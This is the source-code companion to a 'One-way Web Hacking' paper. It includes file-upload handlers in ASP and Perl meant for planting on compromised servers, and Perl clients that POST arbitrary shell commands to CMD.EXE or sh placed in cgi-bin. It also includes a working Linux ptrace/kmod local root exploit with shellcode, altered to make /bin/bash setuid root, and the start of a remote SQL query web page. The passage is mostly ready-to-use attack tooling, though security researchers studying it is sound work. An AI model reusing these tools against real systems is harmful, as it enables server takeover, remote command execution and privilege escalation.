one_way

 One-way Web Hacking - source code 

This document contains source code and examples not present in the main document.

upload.inc

<SCRIPT RUNAT=SERVER LANGUAGE=VBSCRIPT>
Function GetUpload()  
   Dim Result
   Set Result = Nothing  
   If Request.ServerVariables("REQUEST_METHOD") = "POST" Then   
      Dim CT,PosB,Boundary,Length,PosE
      CT=Request.ServerVariables("HTTP_Content_Type")  
      If LCase(Left(CT, 19)) = "multipart/form-data" Then   
         PosB = InStr(LCase(CT), "boundary=")   
         If PosB > 0 Then Boundary = Mid(CT, PosB + 9)   
         PosB = InStr(LCase(CT), "boundary=")   
         If PosB > 0 then   
            PosB = InStr(Boundary, ",")  
            If PosB > 0 Then Boundary = Left(Boundary, PosB - 1)  
         end if  
         Length = CLng(Request.ServerVariables("HTTP_Content_Length"))   
         If Length > 0 And Boundary <> "" Then   
            Boundary = "--" & Boundary  
            Dim Head,Binary
            Binary = Request.BinaryRead(Length)
            Set Result = SeparateFields(Binary, Boundary)
            Binary = Empty  
         Else  
            Err.Raise 10, "GetUpload", "Zero length request ."  
         End If
      Else  
         Err.Raise 11, "GetUpload", "No file sent."  
      End If
   Else  
      Err.Raise 1, "GetUpload", "Bad request method."  
   End If
   Set GetUpload = Result
End Function

Function SeparateFields(Binary, Boundary)  
   Dim POB,PCB,PEOH,iLB,Fields
   Boundary=STB(Boundary)
   POB=InStrB(Binary,Boundary)
   PCB=InStrB(POB+LenB(Boundary),Binary,Boundary,0)
   Set Fields=CreateObject("Scripting.Dictionary")
   Do While (POB > 0 And PCB > 0 And Not iLB)  
      Dim HC,FC,bFC,C_D,FFN,SFN,C_T,Field,TCAEB
      PEOH=InStrB(POB+Len(Boundary),Binary,STB(vbCrLf + vbCrLf))
      HC=MidB(Binary,POB+LenB(Boundary)+2,PEOH-POB-LenB(Boundary)-2)  
      bFC=MidB(Binary,(PEOH+4),PCB-(PEOH+4)-2)
      GetHeadFields BTS(HC),C_D,FFN,SFN,C_T
      Set Field=CUF()
      Set FC=CBD()
      FC.ByteArray=bFC
      FC.Length=LenB(bFC)  
      Field.Name=FFN
      Field.ContentDisposition=C_D
      Field.FilePath=SFN
      Field.FileName=GFN(SFN)
      Field.ContentType=C_T
      Field.Length=FC.Length
      Set Field.Value=FC
      Fields.Add FFN,Field
      TCAEB=BTS(MidB(Binary,PCB+LenB(Boundary), 2))
      iLB=TCAEB="--"  
      If Not iLB Then  
         POB=PCB
         PCB=InStrB(POB + LenB(Boundary), Binary, Boundary)  
      End If
   Loop
   Set SeparateFields = Fields
End Function

Function GetHeadFields(ByVal Head, C_D, Name, FileName, C_T)  
   C_D=LTrim(SeparateField(Head,"content-disposition:",";"))
   Name=(SeparateField(Head, "name=", ";")) 
   If Left(Name, 1) = """" Then Name = Mid(Name, 2, Len(Name) - 2)  
   FileName = (SeparateField(Head, "filename=", ";"))   
   If Left(FileName, 1) = """" Then
      FileName = Mid(FileName, 2, Len(FileName) - 2)
   End If
   C_T = LTrim(SeparateField(Head, "content-type:", ";"))
End Function

Function SeparateField(From, ByVal sStart, ByVal sEnd)  
   Dim PosB, PosE, sFrom
   sFrom = LCase(From)
   PosB = InStr(sFrom, sStart)  
   If PosB > 0 Then  
      PosB = PosB + Len(sStart)
      PosE = InStr(PosB, sFrom, sEnd)  
      If PosE = 0 Then PosE = InStr(PosB, sFrom, vbCrLf)  
      If PosE = 0 Then PosE = Len(sFrom) + 1  
      SeparateField = Mid(From, PosB, PosE - PosB)  
   Else  
      SeparateField = Empty  
   End If
End Function

Function GFN(FullPath)  
   Dim Pos, PosF
   PosF = 0  
   For Pos = Len(FullPath) To 1 Step -1  
      Select Case Mid(FullPath, Pos, 1)  
         Case "/", "\"
            PosF = Pos + 1
            Pos = 0  
      End Select  
   Next  
   If PosF = 0 Then PosF = 1 
   GFN = Mid(FullPath, PosF)
End Function

Function BTS(Binary)  
   Dim cl1, cl2, cl3, pl1, pl2, pl3, L
   cl1=1
   cl2=1
   cl3=1
   L = LenB(Binary)  
   Do While cl1<=L  
      pl3 = pl3 & Chr(AscB(MidB(Binary,cl1,1)))
      cl1=cl1+1
      cl3=cl3+1  
      if cl3>300 then  
         pl2 = pl2 & pl3
         pl3 = ""
         cl3 = 1
         cl2 = cl2 + 1
         if cl2>200 then  
            pl1 = pl1 & pl2
            pl2 = ""
            cl2 = 1
         End If  
      End If  
   Loop  
   BTS = pl1 & pl2 & pl3
End Function

Function STB(String)  
   Dim I, B  
   For I=1 to len(String)
      B = B & ChrB(Asc(Mid(String,I,1)))
   Next  
   STB = B
End Function

Function vbsSaveAs(FileName, ByteArray)  
   Dim FS,TextStream
   Set FS = CreateObject("Scripting.FileSystemObject")
   Set TextStream = FS.CreateTextFile(FileName)
   TextStream.Write BTS(ByteArray)
   TextStream.Close
End Function
</SCRIPT>

<SCRIPT RUNAT=SERVER LANGUAGE=JSCRIPT>
function CUF() {
   return new uf_Init()
}

function uf_Init() {
   this.Name=null;
   this.ContentDisposition=null;
   this.FileName=null;
   this.FilePath=null;
   this.ContentType=null;
   this.Value=null;
   this.Length=null
}

function CBD() {
   return new bin_Init()
}

function bin_Init() {
   this.ByteArray=null
   this.Length=null
   this.String=jsBTS
   this.SaveAs=jsSaveAs
}  

function jsBTS() {
   return BTS(this.ByteArray)
}

function jsSaveAs(FileName) {
   return vbsSaveAs(FileName, this.ByteArray)
}
</SCRIPT>  

cgi-lib.pl

$cgi_lib'writefiles =      1;
$cgi_lib'filepre    = "cgi-lib";
$cgi_lib'bufsize  =  8192;
$cgi_lib'maxbound =   100;
$cgi_lib'headerout =    0;
sub ReadParse {
  local ($perlwarn);
  $perlwarn = $^W;
  $^W = 0;
  local (*in) = shift if @_;
  local (*incfn,
	 *inct,
	 *insfn) = @_;
  local ($len, $type, $meth, $errflag, $cmdflag, $got, $name);
  binmode(STDIN);
  binmode(STDOUT);
  binmode(STDERR);
  $type = $ENV{'CONTENT_TYPE'};
  $len  = $ENV{'CONTENT_LENGTH'};
  $meth = $ENV{'REQUEST_METHOD'};
  if (!defined $meth || $meth eq '' || $meth eq 'GET' || 
      $meth eq 'HEAD' ||
      $type eq 'application/x-www-form-urlencoded') {
    local ($key, $val, $i);
    if (!defined $meth || $meth eq '') {
      $in = $ENV{'QUERY_STRING'};
      $cmdflag = 1;
    } elsif($meth eq 'GET' || $meth eq 'HEAD') {
      $in = $ENV{'QUERY_STRING'};
    } elsif ($meth eq 'POST') {
        if (($got = read(STDIN, $in, $len) != $len))
	  {$errflag="Short Read: wanted $len, got $got\n";};
    } else {
      &CgiDie("cgi-lib.pl: Unknown request method: $meth\n");
    }
    @in = split(/[&;]/,$in); 
    push(@in, @ARGV) if $cmdflag;
    foreach $i (0 .. $#in) {
      $in[$i] =~ s/\+/ /g;
      ($key, $val) = split(/=/,$in[$i],2);
      $key =~ s/%([A-Fa-f0-9]{2})/pack("c",hex($1))/ge;
      $val =~ s/%([A-Fa-f0-9]{2})/pack("c",hex($1))/ge;
      $in{$key} .= "\0" if (defined($in{$key}));
      $in{$key} .= $val;
    }
  } elsif ($ENV{'CONTENT_TYPE'} =~ m#^multipart/form-data#) {
$errflag = !(eval <<'END_MULTIPART');
    local ($buf, $boundary, $head, @heads, $cd, $ct, $fname, $ctype, $blen);
    local ($bpos, $lpos, $left, $amt, $fn, $ser);
    local ($bufsize, $maxbound, $writefiles) = 
      ($cgi_lib'bufsize, $cgi_lib'maxbound, $cgi_lib'writefiles);
    $buf = ''; 
    ($boundary) = $type =~ /boundary="([^"]+)"/; #";
    ($boundary) = $type =~ /boundary=(\S+)/ unless $boundary;
    &CgiDie ("Boundary not provided: probably a bug in your server") 
      unless $boundary;
    $boundary =  "--" . $boundary;
    $blen = length ($boundary);
    if ($ENV{'REQUEST_METHOD'} ne 'POST') {
      &CgiDie("Invalid request method for  multipart/form-data: $meth\n");
    }
    if ($writefiles) {
      local($me);
      stat ($writefiles);
      $writefiles = "/tmp" unless  -d _ && -w _;
      $writefiles .= "/$cgi_lib'filepre"; 
    }
    $left = $len;
   PART:
    while (1) {
      die $@ if $errflag;
      $amt = ($left > $bufsize+$maxbound-length($buf) 
	      ?  $bufsize+$maxbound-length($buf): $left);
      $errflag = (($got = read(STDIN, $buf, $amt, length($buf))) != $amt);
      die "Short Read: wanted $amt, got $got\n" if $errflag;
      $left -= $amt;
      $in{$name} .= "\0" if defined $in{$name}; 
      $in{$name} .= $fn if $fn;
      $name=~/([-\w]+)/;
      if (defined $1) {
        $insfn{$1} .= "\0" if defined $insfn{$1}; 
        $insfn{$1} .= $fn if $fn;
      }
     BODY: 
      while (($bpos = index($buf, $boundary)) == -1) {
        if ($left == 0 && $buf eq '') {
	  foreach $value (values %insfn) {
            unlink(split("\0",$value));
	  }
	  &CgiDie("cgi-lib.pl: reached end of input while seeking boundary " .
		  "of multipart. Format of CGI input is wrong.\n");
        }
        die $@ if $errflag;
        if ($name) {
          if ($fn) { print FILE substr($buf, 0, $bufsize); }
          else     { $in{$name} .= substr($buf, 0, $bufsize); }
        }
        $buf = substr($buf, $bufsize);
        $amt = ($left > $bufsize ? $bufsize : $left);
        $errflag = (($got = read(STDIN, $buf, $amt, length($buf))) != $amt);
	die "Short Read: wanted $amt, got $got\n" if $errflag;
        $left -= $amt;
      }
      if (defined $name) {
        if ($fn) { print FILE substr($buf, 0, $bpos-2); }
        else     { $in {$name} .= substr($buf, 0, $bpos-2); }
      }
      close (FILE);
      last PART if substr($buf, $bpos + $blen, 2) eq "--";
      substr($buf, 0, $bpos+$blen+2) = '';
      $amt = ($left > $bufsize+$maxbound-length($buf) 
	      ? $bufsize+$maxbound-length($buf) : $left);
      $errflag = (($got = read(STDIN, $buf, $amt, length($buf))) != $amt);
      die "Short Read: wanted $amt, got $got\n" if $errflag;
      $left -= $amt;
      undef $head;  undef $fn;
     HEAD:
      while (($lpos = index($buf, "\r\n\r\n")) == -1) { 
        if ($left == 0  && $buf eq '') {
	  foreach $value (values %insfn) {
            unlink(split("\0",$value));
	  }
	  &CgiDie("cgi-lib: reached end of input while seeking end of " .
		  "headers. Format of CGI input is wrong.\n$buf");
        }
        die $@ if $errflag;
        $head .= substr($buf, 0, $bufsize);
        $buf = substr($buf, $bufsize);
        $amt = ($left > $bufsize ? $bufsize : $left);
        $errflag = (($got = read(STDIN, $buf, $amt, length($buf))) != $amt);
        die "Short Read: wanted $amt, got $got\n" if $errflag;
        $left -= $amt;
      }
      $head .= substr($buf, 0, $lpos+2);
      push (@in, $head);
      @heads = split("\r\n", $head);
      ($cd) = grep (/^\s*Content-Disposition:/i, @heads);
      ($ct) = grep (/^\s*Content-Type:/i, @heads);
      ($name) = $cd =~ /\bname="([^"]+)"/i; #"; 
      ($name) = $cd =~ /\bname=([^\s:;]+)/i unless defined $name;  
      ($fname) = $cd =~ /\bfilename="([^"]*)"/i; #";
      ($fname) = $cd =~ /\bfilename=([^\s:;]+)/i unless defined $fname;
      $incfn{$name} .= (defined $in{$name} ? "\0" : "") . 
        (defined $fname ? $fname : "");
      ($ctype) = $ct =~ /^\s*Content-type:\s*"([^"]+)"/i;  #";
      ($ctype) = $ct =~ /^\s*Content-Type:\s*([^\s:;]+)/i unless defined $ctype;
      $inct{$name} .= (defined $in{$name} ? "\0" : "") . $ctype;
      if ($writefiles && defined $fname) {
        $fn = $fname;
        $fn =~ tr/\"//d;
        $fn =~ tr/\\/\//;
        @dummy = split(/\//, $fn);
        $fn = $dummy[$#dummy];
        open (FILE, ">$fn") || &CgiDie("Couldn't open $fn\n");
        binmode (FILE);
      }
      substr($buf, 0, $lpos+4) = '';
      undef $fname;
      undef $ctype;
    }
1;
END_MULTIPART
    if ($errflag) {
      local ($errmsg, $value);
      $errmsg = $@ || $errflag;
      foreach $value (values %insfn) {
        unlink(split("\0",$value));
      }
      &CgiDie($errmsg);
    } else {
    }
  } else {
    &CgiDie("cgi-lib.pl: Unknown Content-type: $ENV{'CONTENT_TYPE'}\n");
  }
  $insfn = $insfn;
  $incfn = $incfn;
  $inct  = $inct;
  $^W = $perlwarn;
  return ($errflag ? undef :  scalar(@in)); 
}
sub PrintHeader {
  return "Content-type: text/html\n\n";
}
sub HtmlTop
{
  local ($title) = @_;

  return <<END_OF_TEXT;
<html>
<head>
<title>$title</title>
</head>
<body>
<h1>$title</h1>
END_OF_TEXT
}
sub HtmlBot
{
  return "</body>\n</html>\n";
}
sub SplitParam
{
  local ($param) = @_;
  local (@params) = split ("\0", $param);
  return (wantarray ? @params : $params[0]);
}
sub MethGet {
  return (defined $ENV{'REQUEST_METHOD'} && $ENV{'REQUEST_METHOD'} eq "GET");
}
sub MethPost {
  return (defined $ENV{'REQUEST_METHOD'} && $ENV{'REQUEST_METHOD'} eq "POST");
}
sub MyBaseUrl {
  local ($ret, $perlwarn);
  $perlwarn = $^W; $^W = 0;
  $ret = 'http://' . $ENV{'SERVER_NAME'} .  
         ($ENV{'SERVER_PORT'} != 80 ? ":$ENV{'SERVER_PORT'}" : '') .
         $ENV{'SCRIPT_NAME'};
  $^W = $perlwarn;
  return $ret;
}
sub MyFullUrl {
  local ($ret, $perlwarn);
  $perlwarn = $^W; $^W = 0;
  $ret = 'http://' . $ENV{'SERVER_NAME'} .  
         ($ENV{'SERVER_PORT'} != 80 ? ":$ENV{'SERVER_PORT'}" : '') .
         $ENV{'SCRIPT_NAME'} . $ENV{'PATH_INFO'} .
         (length ($ENV{'QUERY_STRING'}) ? "?$ENV{'QUERY_STRING'}" : '');
  $^W = $perlwarn;
  return $ret;
}
sub MyURL  {
  return &MyBaseUrl;
}
sub CgiError {
  local (@msg) = @_;
  local ($i,$name);

  if (!@msg) {
    $name = &MyFullUrl;
    @msg = ("Error: script $name encountered fatal error\n");
  };

  if (!$cgi_lib'headerout) { #')
    print &PrintHeader;	
    print "<html>\n<head>\n<title>$msg[0]</title>\n</head>\n<body>\n";
  }
  print "<h1>$msg[0]</h1>\n";
  foreach $i (1 .. $#msg) {
    print "<p>$msg[$i]</p>\n";
  }
  $cgi_lib'headerout++;
}
sub CgiDie {
  local (@msg) = @_;
  &CgiError (@msg);
  die @msg;
}
sub PrintVariables {
  local (*in) = @_ if @_ == 1;
  local (%in) = @_ if @_ > 1;
  local ($out, $key, $output);
  $output =  "\n<dl compact>\n";
  foreach $key (sort keys(%in)) {
    foreach (split("\0", $in{$key})) {
      ($out = $_) =~ s/\n/<br>\n/g;
      $output .=  "<dt><b>$key</b>\n <dd>:<i>$out</i>:<br>\n";
    }
  }
  $output .=  "</dl>\n";
  return $output;
}
sub PrintEnv {
  &PrintVariables(*ENV);
}
$cgi_lib'writefiles =  $cgi_lib'writefiles;
$cgi_lib'bufsize    =  $cgi_lib'bufsize ;
$cgi_lib'maxbound   =  $cgi_lib'maxbound;
$cgi_lib'filepre    =  $cgi_lib'filepre;
1;

post_cmd.pl

#!/usr/bin/perl
#
# post_cmd.pl
# By Saumil Shah (c) net-square, 2001
#
# Able to send arbitrary commands to http://TARGET/cgi-bin/CMD.EXE
# and have them executed on the server. This is possible only if 
# CMD.EXE is placed in %wwwroot%\cgi-bin. (perhaps after running
# some .. ah.. exploit)
#
# Note: If %wwwroot%\cgi-bin is not available, use the /scripts/
# directory in which case, the URL becomes
# http://TARGET/scripts/CMD.EXE
#
# POST can send text to a back-end web program's standard input
# This program is used to feed commands to CMD.EXE on a remote
# webserver via standard input, and get the output on standard
# output, back to us, via HTTP.
#
# Note: We cannot use this with a form, because forms always
# send variable=value pairs back to the back-end web program. We
# want to send commands here
#
# Things to be careful about (and which is why this program helps)
#
# a) Since we cannot send command line arguments to CMD.EXE (such
#    as CMD /C), we have to make sure that the last command we
#    send is an "exit", otherwise, the command shell will not die
#    on the remote server.
#
# b) Since we are sending commands via POST, we have to calculate
#    the number of characters sent, and use that as a Content-length
#    value.

use IO::Socket;
use IO::Handle;

if(defined($ARGV[0])) {
   $server = $ARGV[0];
}
else {
   print "usage: post_cmd.pl url [proxy:port] < data\n";
   print "By Saumil Shah (c) net-square 2001\n\n";
   print "post_cmd.pl takes all the data to be POSTed to the URL as\n";
   print "standard input. Either enter the data manually and hit ^D (unix)\n";
   print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n";
   exit(0);
}

if($server =~ /\//o) {
   $server =~ s/http:\/\///o;
   $server =~ /(.*?)\/(.*)/o;
   $file = '/'. $2;
   $server = $1;
}
else {
   $file = '/';
   if(defined($ARGV[1])) {
      $file = $ARGV[1];
   }
}

# capture proxy server
$proxy_flag = 0;
if(defined($ARGV[1])) {
   ($proxy_ip, $proxy_port) = split(/:/, $ARGV[1]);
   $proxy_flag = 1;
}

# take the commands that we need to send at this stage

# Note: if we do not start off the set of commands to be POSTed with
# a blank like, any occurence of a ":" in the first line causes the POST
# request to fail. This may be an IIS issue or an HTTP issue.

@commands = ("\n");
$content_length = 0;

while($line = <STDIN>) {
   @commands = (@commands, qq{$line});
   $content_length += length($line);
}

# comment out the block below if you are meticulous
# about putting your own "exit" at the end, or if you want
# to use this as a generic POST client
$line = "exit\n";
@commands = (@commands, $line);
$content_length += length($line);
# end of block

$| = 1;

($target, $port) = split(/:/, $server);
if($port == 0) {
   $port = 80;
}
$server = $target;

httpconnect($server, $port);
post($file, $server, $port, $content_length, @commands);

## uncomment the while loop below
## to suppress the HTTP headers in the response
#while(<S>) { # header
#   last if($_ eq "\r\n");
#}

while(<S>) { # body
   print $_;
}
close(S);

exit;


sub httpconnect {
   my ($server, $port) = @_;

   # check for proxy settings
   if($proxy_flag) {
      $server = $proxy_ip;
      $port = $proxy_port;
   }
   chop($hostname = `hostname`);
   $proto = getprotobyname('tcp');
   $thisaddr =  gethostbyname($hostname);
   $thataddr = gethostbyname($server);
   $sin = sockaddr_in($port, $thataddr);

   socket(S, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
   connect(S, $sin) or die "connect: $!";
   select(S);
   $| = 1;
   select(STDOUT);
}

sub post {
   my ($file, $hostname, $port, $content_length, @commands) = @_;
   my $i;

   # check for proxy settings
   if($proxy_flag) {
      $file = "http://" . $hostname . ":" . $port . $file;
   }

   S->autoflush(1);
   print S 'POST '. $file. " HTTP/1.0\r\n";
   print S 'Host: '. $hostname. "\n";
   print S "Content-length: $content_length\n";
   foreach $i (@commands) {
      print S $i;
   }
   print S "\r\n";
}

post_sh.pl

#!/usr/bin/perl
#
# post_sh.pl
# By Saumil Shah (c) net-square, 2001
#
# Able to send arbitrary commands to http://TARGET/cgi-bin/sh
# and have them executed on the server. This is possible only if 
# sh is placed in cgi-bin. (perhaps after running some .. ah.. exploit)
#
# POST can send text to a back-end web program's standard input
# This program is used to feed commands to sh on a remote
# webserver via standard input, and get the output on standard
# output, back to us, via HTTP.
#
# Note: We cannot use this with a form, because forms always
# send variable=value pairs back to the back-end web program. We
# want to send commands here
#
# Things to be careful about (and which is why this program helps)
#
# a) We have to make sure that the last command we send is an "exit"
#    otherwise, the command shell will not die
#    on the remote server.
#
# b) Since we are sending commands via POST, we have to calculate
#    the number of characters sent, and use that as a Content-length
#    value.

use IO::Socket;
use IO::Handle;

if(defined($ARGV[0])) {
   $server = $ARGV[0];
}
else {
   print "usage: post_sh.pl url < data\n";
   print "By Saumil Shah (C) net-square, 2001\n\n";
   print "post_sh.pl takes all the data to be POSTed to the URL as\n";
   print "standard input. Either enter the data manually and hit ^D (unix)\n";
   print "or ^Z (dos) to end; or redirect the data using files or pipes\n\n";
   exit(0);
}

if($server =~ /\//o) {
   $server =~ s/http:\/\///o;
   $server =~ /(.*?)\/(.*)/o;
   $file = '/'. $2;
   $server = $1;
}
else {
   $file = '/';
   if(defined($ARGV[1])) {
      $file = $ARGV[1];
   }
}

# take the commands that we need to send at this stage

# Note: if we do not start off the set of commands to be POSTed with
# a blank like, any occurence of a ":" in the first line causes the POST
# request to fail. Also, Apache requires that a proper HTTP header be
# returned, otherwise it throws a Server Internal error. The commands
# POSTed, will still run anyway, but we will not see any output from
# standard output

@commands = ("\n", "\necho 'Content-type: text/html'\n", "echo\n");
$content_length = length($commands[1]) + length($commands[2]);

while($line = <STDIN>) {
   @commands = (@commands, qq{$line});
   $content_length += length($line);
}

# comment out the block below if you are meticulous
# about putting your own "exit" at the end, or if you want
# to use this as a generic POST client
$line = "exit\n";
@commands = (@commands, $line);
$content_length += length($line);
# end of block

$| = 1;

($target, $port) = split(/:/, $server);
if($port == 0) {
   $port = 80;
}
$server = $target;

httpconnect($server, $port);
post($file, $server, $content_length, @commands);

## uncomment the while loop below
## to suppress the HTTP headers in the response
#while(<S>) { # header
#   last if($_ eq "\r\n");
#}

while(<S>) { # body
   print $_;
}
close(S);

exit;


sub httpconnect {
   my ($server, $port) = @_;
   chop($hostname = `hostname`);
   $proto = getprotobyname('tcp');
   $thisaddr =  gethostbyname($hostname);
   $thataddr = gethostbyname($server);
   $sin = sockaddr_in($port, $thataddr);

   socket(S, PF_INET, SOCK_STREAM, $proto) || die "socket: $!";
   connect(S, $sin) or die "connect: $!";
   select(S);
   $| = 1;
   select(STDOUT);
}

sub post {
   my ($file, $hostname, $content_length, @commands) = @_;
   my $i;
   S->autoflush(1);
   print S 'POST '. $file. " HTTP/1.0\r\n";
   print S 'Host: '. $hostname. "\n";
   print S "Content-type: text/html\n";
   print S "Content-length: $content_length\n";
   foreach $i (@commands) {
      print S $i;
   }
   print S "\r\n";
}

ptrace1.c

/*
 * Linux kernel ptrace/kmod local root exploit
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 * 
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 * 
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 * 
 * (c) 2003 Copyright by iSEC Security Research
 *
 * exploit modified for one-way use by Saumil Shah
 */
 
 #include <grp.h>
 #include <stdio.h>
 #include <fcntl.h>
 #include <errno.h>
 #include <paths.h>
 #include <string.h>
 #include <stdlib.h>
 #include <signal.h>
 #include <unistd.h>
 #include <sys/wait.h>
 #include <sys/stat.h>
 #include <sys/param.h>
 #include <sys/types.h>
 #include <sys/ptrace.h>
 #include <sys/socket.h>
 #include <linux/user.h>
 
 char cliphcode[] =
  "\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
  "\x00\x5b\x31\xc9\x89\xca\xcd\x80"
  "\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
  "\x00\x00\xcd\x80\x89\xd0\x89\xd3"
  "\x40\xcd\x80\xe8\xdc\xff\xff\xff";
 
 #define CODE_SIZE (sizeof(cliphcode) - 1)
 
 pid_t parent = 1;
 pid_t child = 1;
 pid_t victim = 1;
 volatile int gotchild = 0;
 
 void fatal(char * msg)
 {
  perror(msg);
  kill(parent, SIGKILL);
  kill(child, SIGKILL);
  kill(victim, SIGKILL);
 }
 
 void putcode(unsigned long * dst)
 {
  char buf[MAXPATHLEN + CODE_SIZE];
  unsigned long * src;
  int i, len;
 
  memcpy(buf, cliphcode, CODE_SIZE);
  len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
  if (len == -1)
   fatal("[-] Unable to read /proc/self/exe");
 
  len += CODE_SIZE + 1;
  buf[len] = '\0';
  
  src = (unsigned long*) buf;
  for (i = 0; i < len; i += 4)
   if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
    fatal("[-] Unable to write shellcode");
 }
 
 void sigchld(int signo)
 {
  struct user_regs_struct regs;
 
  if (gotchild++ == 0)
   return;
  
  fprintf(stderr, "[+] Signal caught\n");
 
  if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
   fatal("[-] Unable to read registers");
  
  fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip);
  
  putcode((unsigned long *)regs.eip);
 
  fprintf(stderr, "[+] Now wait for suid shell...\n");
 
  if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
   fatal("[-] Unable to detach from victim");
 
  exit(0);
 }
 
 void sigalrm(int signo)
 {
  errno = ECANCELED;
  fatal("[-] Fatal error");
 }
 
 void do_child(void)
 {
  int err;
 
  child = getpid();
  victim = child + 1;
 
  signal(SIGCHLD, sigchld);
 
  do
   err = ptrace(PTRACE_ATTACH, victim, 0, 0);
  while (err == -1 && errno == ESRCH);
 
  if (err == -1)
   fatal("[-] Unable to attach");
 
  fprintf(stderr, "[+] Attached to %d\n", victim);
  while (!gotchild) ;
  if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
   fatal("[-] Unable to setup syscall trace");
  fprintf(stderr, "[+] Waiting for signal\n");
 
  for(;;);
 }
 
 void do_parent(char * progname)
 {
  struct stat st;
  int err;
  errno = 0;
  socket(AF_SECURITY, SOCK_STREAM, 1);
  do {
   err = stat(progname, &st);
  } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
  
  if (err == -1)
   fatal("[-] Unable to stat myself");
 
  alarm(0);
  system(progname);
 }
 
 void prepare(void)
 {
  if (geteuid() == 0) {
   initgroups("root", 0);
   setgid(0);
   setuid(0);
//   execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
// line below is a modification to adapt the exploit
// for one-way hacking
   execl("/bin/chmod", "/bin/chmod", "4755", "/bin/bash", NULL);
   fatal("[-] Unable to spawn shell");
  }
 }
 
 int main(int argc, char ** argv)
 {
  prepare();
  signal(SIGALRM, sigalrm);
  alarm(10);
  
  parent = getpid();
  child = fork();
  victim = child + 1;
  
  if (child == -1)
   fatal("[-] Unable to fork");
 
  if (child == 0)
   do_child();
  else
   do_parent(argv[0]);
 
  return 0;
 }

sqlquery.asp

<%@ Language=VBScript %>
<!--
   SQL Queries via ASP
   
   Developed by Ketan Vyas, Net-Square
   
   v1.1 Sept 15, 2003.

   Added connection provider support for MySQL ODBC and Foxpro

   v1.0 June 16, 2001.
   
   Added connection provider support for Oracle servers
   
   v0.9 June 11, 2001.
   
   This page allows for remote SQL queries to be performed via a
   web page. Currently, it requires connection information for the
   database.
   
   Present version works only for MS-SQL server. Other providers shall
   be included later.
-->
<html>
<head>
<title>SQL Query over HTTP</title>
<style type="text/css">
 PRE
 {
   font-family: Monaco, Courier-new, Lucida, Courier;
   font-size: 10pt;
   color: black;
 }
</style>
</head>
<body>

<h1><u><font face="Arial" size="5" color="#000080">
SQL Query over HTTP</font></u></h1>

<%
 IF request.form ("Message")="true" THEN
  strServerName=request.form("ServerName")
  strDatabaseName=request.form("DatabaseName")
  strUserName=request.form("UserName")
  strPassword=request.form("Password")
  strQuery=request.form("Query")
  strDbsource=request.form("Dbsource")
  strOther=request.form("other")
  strCon=request.form("Constr")
  strDSN=request.form("DSN")

  Response.write("<table align= 'left' border='0'>")
  Response.write("<tr>")
  Response.write("<td>")

  Response.write("<form action='#' method='POST'>")
  Response.write("<table align= 'left' border='0'>")
  Response.write("<tr>")
  Response.write("<td valign='top' align='right'><b><font face='Arial' size='2'>
                  Server Name:</font></b></td>")
  Response.write("<td><font face='Courier New'><input type='Text' name='ServerName'
                  size='30' value="+ strServerName +"></font></td>")
  Response.write("<td align='right'><b><font face='Arial' size='2'>
                  User Name:</font></b></td>")
  Response.write("<td><font face='Courier New'><input name='UserName'  size='14'
                  value="+ strUserName +"></font></td>")
  Response.write("</tr>")
  Response.write("<tr>")
  Response.write("<td valign='top' align='right'><b><font face='Arial' size='2'>
                  Database Name:</font></b></td>")
  Response.write("<td><font face='Courier New'><input name='DatabaseName' size='30'
                  value="+ strDatabaseName +"></font></td>")
  Response.write("<td align='right'><b><font face='Arial' size='2'>
                  Password:</font></b></td>")
  Response.write("<td><font face='Courier New'><input name='Password' size='14'
                  value="+ strPassword +"></font></td>")
  Response.write("</tr>")
  Response.write("<tr>")
  Response.write("<td valign='top' align='right'><b><font face='Arial' size='2'>
                  Connection String:</font></b></td>")
  Response.write("<td><input type='text' name='ConStr' size='30' value='"+
                  strCon +"'></td>")
  Response.write("</tr>")
  Response.write("<tr>")
  Response.write("<td valign='top' align='right'><b><font face='Arial' size='2'>
                  Driver:</font></b></td>")
  Response.write("<td><select size='1' name='Dbsource'>")

  IF(strDbsource = "SQL Server") THEN
   Response.write("<option selected>" + strDbsource + "</option>")
   Response.write("<option>Oracle ODBC Driver</option>")   
   Response.write("<option>Microsoft Access Driver (*.mdb)</option>")
   Response.write("<option>MySQL ODBC 3.51 Driver</option>")
  END IF
  IF (strDbsource = "Oracle ODBC Driver") THEN
   Response.write("<option selected>" + strDbsource + "</option>")
   Response.write("<option>SQL Server</option>")
   Response.write("<option>Microsoft Access Driver (*.mdb)</option>")
   Response.write("<option>MySQL ODBC 3.51 Driver</option>")
  END IF 
  IF (strDbsource = "Microsoft Access Driver (*.mdb)") THEN
   Response.write("<option selected>" + strDbsource + "</option>")
   Response.write("<option>SQL Server</option>")
   Response.write("<option>Oracle ODBC Driver</option>")
   Response.write("<option>MySQL ODBC 3.51 Driver</option>")
  END IF 
  IF (strDbsource = "MySQL ODBC 3.51 Driver") THEN
   Response.write("<option selected>" + strDbsource + "</option>")
   Response.write("<option>SQL Server</option>")
   Response.write("<option>Oracle ODBC Driver</option>")
   Response.write("<option>Microsoft Access Driver (*.mdb)</option>")
  END IF 
  
  Response.write("</select>")
  Response.write("</td>")
  Response.write("</tr>")
  Response.write("<tr>")
  Response.write("<td valign='top' align='right'><b><font face='Arial' size='2'>
                  Query String:</font></b></td>")
  Response.write("<td colspan='3'><font face='Courier New'><textarea rows='4'
                  name='Query' cols='69'>"+ strQuery +"</textarea></font></td>")
  Response.write("</tr>")
  Response.write("<tr>")
  Response.write("<td><input type='HIDDEN' name='Message' value='true'></td>")
  Response.write("</tr>")
  Response.write("<tr>")
  Response.write("<td>")
